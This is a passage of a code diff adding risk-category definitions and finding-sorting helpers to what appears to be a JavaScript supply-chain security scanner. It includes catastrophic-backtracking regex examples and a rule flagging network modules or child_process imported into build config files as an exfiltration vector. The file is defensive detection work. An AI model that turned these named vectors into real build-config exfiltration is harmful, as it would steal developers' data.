examples: ['/(a+)+$/', '/([a-zA-Z]+)*/', '/(a|aa)+$/'],
|
|
182
|
+
},
|
|
183
|
+
|
|
184
|
+
// ── A10: Exfiltration in build / config context ───────────────────────────
|
|
185
|
+
{
|
|
186
|
+
id: 'data-exfiltration',
|
|
187
|
+
label: 'Data Exfiltration via Build Config',
|
|
188
|
+
owasp: 'A08:2021 – Software and Data Integrity Failures',
|
|
189
|
+
atlas: ['AML.T0024 – Exfiltration via ML Inference API'],
|
|
190
|
+
description:
|
|
191
|
+
'Network modules (http, https, dns, net) or child_process imported inside Tailwind, '
|
|
192
|
+
+ 'Vite, PostCSS, or ESLint config files. Build tools are executed with elevated '
|
|
193
|
+
+ 'privileges and full file-system access — making them a prime exfiltration vector.',
|
|
194
|
+
severity: 'critical',
|
|
195
|
+
examples: ["import https from 'node:https' // in tailwind.config.ts"],
|
|
196
|
+
},
|
|
197
|
+
]
|
|
198
|
+
|
|
199
|
+
// ─── Category lookup ──────────────────────────────────────────────────────────
|
|
200
|
+
|
|
201
|
+
/**
|
|
202
|
+
* Fast lookup: risk category id → category object.
|
|
203
|
+
* @type {Map<string, RiskCategory>}
|
|
204
|
+
*/
|
|
205
|
+
export const RISK_CATEGORY_MAP = new Map(RISK_CATEGORIES.map(c => [c.id, c]))
|
|
206
|
+
|
|
207
|
+
/**
|
|
208
|
+
* Return a risk category by id, or undefined if not found.
|
|
209
|
+
* @param {string} id
|
|
210
|
+
* @returns {RiskCategory|undefined}
|
|
211
|
+
*/
|
|
212
|
+
export function getRiskCategory(id) {
|
|
213
|
+
return RISK_CATEGORY_MAP.get(id)
|
|
214
|
+
}
|
|
215
|
+
|
|
216
|
+
// ─── Finding helpers ──────────────────────────────────────────────────────────
|
|
217
|
+
|
|
218
|
+
/**
|
|
219
|
+
* Sort findings by severity (critical first) and then by file path.
|
|
220
|
+
* @template {{ severity: string, file?: string, pkg?: string }} T
|
|
221
|
+
* @param {T[]} findings
|
|
222
|
+
* @returns {T[]}
|
|
223
|
+
*/
|
|
224
|
+
export function sortFindings(findings) {
|
|
225
|
+
return [...findings].sort((a, b) => {
|
|
226
|
+
const scoreDiff = (SEVERITY_SCORE[b.severity] ?? 0) - (SEVERITY_SCORE[a.severity] ?? 0)
|
|
227
|
+
if (scoreDiff !== 0) return scoreDiff
|
|
228
|
+
const aKey = a.file ?? a.pkg ?? ''
|
|
229
|
+
const bKey = b.file ?? b.pkg ?? ''
|
|
230
|
+
return aKey.localeCompare(bKey)
|
|
231
|
+
})
|
|
232
|
+
}
|
|
233
|
+
|
|
234
|
+
/**
|
|
235
|
+
* Partition findings into blocking (critical/high) and warning (medium/low/info) groups.
|
|
236
|
+
* @template {{ severity: string }} T
|
|
237
|
+
* @param {T[]} findings
|
|
238
|
+
* @returns {{ blocking: T[], warnings: T[] }}
|
|
239
|
+
*/
|
|
240
|
+
export function partitionFindings(findings) {
|
|
241
|
+
return {
|
|
242
|
+
blocking: findings.filter(f => isBlocking(f.severity)),
|
|
243
|
+
warnings: findings.filter(f => !isBlocking(f.severity)),
|
|
244
|
+
}
|
|
245
|
+
}
|
|
246
|
+
|
|
247
|
+
// ─── JSDoc typedef (for editor tooling) ──────────────────────────────────────
|
|
248
|
+
|
|
249
|
+
/**
|
|
250
|
+
* @typedef {{
|
|
251
|
+
* id: string,
|
|
252
|
+
* label: string,
|
|
253
|
+
* owasp: string,
|
|
254
|
+
* atlas: string[],
|
|
255
|
+
* description: string,
|
|
256
|
+
* severity: 'critical'|'high'|'medium'|'low'|'info',
|
|
257
|
+
* examples: string[],
|
|
258
|
+
* }} RiskCategory
|
|
259
|
+
*/
|